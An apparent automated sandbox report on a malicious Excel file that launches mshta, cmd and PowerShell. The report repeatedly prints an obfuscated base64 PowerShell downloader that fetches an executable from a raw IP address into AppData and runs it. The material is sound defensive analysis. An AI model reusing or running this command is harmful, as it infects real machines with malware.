              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................p.......}..w..............w...../].l............(.P.....\.......d.......................................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.......................^.l....}..w....p.......\.).......'.............(.P.....\.......d.......................................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................p.......}..w..............w...../].l............(.P.....\.......d.......................................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....H.......N.......................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...w...../].l............(.P.....\.......d.......H....... .......................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................p.......}..w..............w...../].l............(.P.....\.......d.......................................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....\.......d.......H.......8.......................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................p.......}..w..............w...../].l............(.P.....\.......d.......................................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...d.......H.......F.......................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................p.......}..w..............w...../].l............(.P.....\.......d...............l.......................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ .......p.......}..w..............w...../].l............(.P.....\.......d.......H...............................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................p...............0..8.v...Wx.....}..w............@E(.....^...............(.P.....\.......d.......h...............................
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................p....................v...Wx.....}..w............@E(.....^...............(.P.....\.......d.......h...............................
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
              Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
              Source: Quotation.xlsReversingLabs: Detection: 28%
              Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES25D9.tmp" "c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES85A4.tmp" "c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe"
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Internet Explorer\iexplore.exe "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.cmdline"Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe" Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES25D9.tmp" "c:\Users\user\AppData\Local\Temp\nsccvpb0\CSC7FE4A73D64AC4B32BC98E072D7992CAF.TMP"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\Windows Mail\wab.exe"Jump to behavior
              Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWeRshElL -EX Bypass -nOP -w 1 -c DeVicECREDENtiAldePLoymeNT ; iEx($(iEx('[SYstem.teXT.EnCoDInG]'+[chaR]0x3A+[cHAR]0X3a+'utf8.getStriNG([SySTEm.COnvERt]'+[cHaR]58+[CHar]0X3a+'fROMbaSE64StRIng('+[cHAr]34+'JHpBWlhKTXJMICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTUJlUmRFZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxtb24uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdrYSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEpEYnpheWJLY0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEdXpsV3FiV2hYQyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRCIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcGFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTXJYZHNvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkekFaWEpNckw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNTUvVDAyMDdXL2NzcnNzLmV4ZSIsIiRlblY6QVBQREFUQVxpZ2NjdS5leGUiLDAsMCk7c3RhUnQtU0xlRXAoMyk7c1RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcaWdjY3UuZXhlIg=='+[chaR]34+'))')))"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.cmdline"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\igccu.exe "C:\Users\user\AppData\Roaming\igccu.exe"
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES85A4.tmp" "c:\Users\user\AppData\Local\Temp\czjog1ic\CSCE6080EA75C65453BAA6F2713EF82B3D.TMP"
